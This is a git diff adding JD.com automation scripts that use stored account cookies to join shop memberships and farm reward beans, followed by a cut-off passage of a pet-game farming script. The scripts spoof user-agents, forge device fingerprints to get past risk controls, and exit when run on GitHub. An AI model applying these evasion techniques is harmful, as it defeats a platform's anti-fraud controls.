/dev/null +++ b/jd_opencardjoyjd.js @@ -0,0 +1,510 @@ +/* + +JoyJd任务脚本 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#JoyJd任务脚本 +5 2,18 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, tag=JoyJd任务脚本, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 2,18 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js,tag=JoyJd任务脚本 + +===============Surge================= +JoyJd任务脚本 = type=cron,cronexp="5 2,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js + +============小火箭========= +JoyJd任务脚本 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, cronexpr="5 2,18 * * *", timeout=3600, enable=true + + +*/ +const $ = new Env('会员开卡赢京豆'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = "" +!(async () => { + console.log('入口:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') + console.log('开一张卡获得10豆') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + if(message){ + $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:'469f588bbf0f45e1bf06c87c76df9db8',configName:'我爱520-1'}, + // {configCode:'761d289b16d74713bf6cee8462ca0e76',configName:'我爱520-2'}, + // {configCode:'3d83678471e74b84940b99d16d8848b5',configName:'我爱520-3'}, + //{configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 2){ + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 2){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js new file mode 100644 index 0000000..636ed8c --- /dev/null +++ b/jd_pet.js @@ -0,0 +1,1062 @@ +/* +东东萌宠 更新地址: jd_pet.js +更新时间:2021-05-21 +活动入口:京东APP我的-更多工具-东东萌宠 +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助5个人。多出的助力码无效 + +=================================Quantumultx========================= +[task_local] +#东东萌宠 +15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true + +=================================Loon=================================== +[Script] +cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 + +===================================Surge================================ +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js + +====================================小火箭============================= +东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东萌宠互助版'); +let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, allMessage = ''; +let message = '', subTitle = '', option = {}; +let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let goodsUrl = '', taskInfoKey = []; +let notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let newShareCodes = []; +let NoNeedCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + console.log(NowHour); + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} + +console.log(`共${cookiesArr.length}个京东账号\n`); + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if (llhelp){ + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await GetShareCode(); + } + } + console.log('\n互助码收集完毕,开始执行日常任务...\n'); + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await jdPet(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function jdPet() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + message = `【京东账号${$.index}】${$.nickName || $.UserName}\n`; + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus 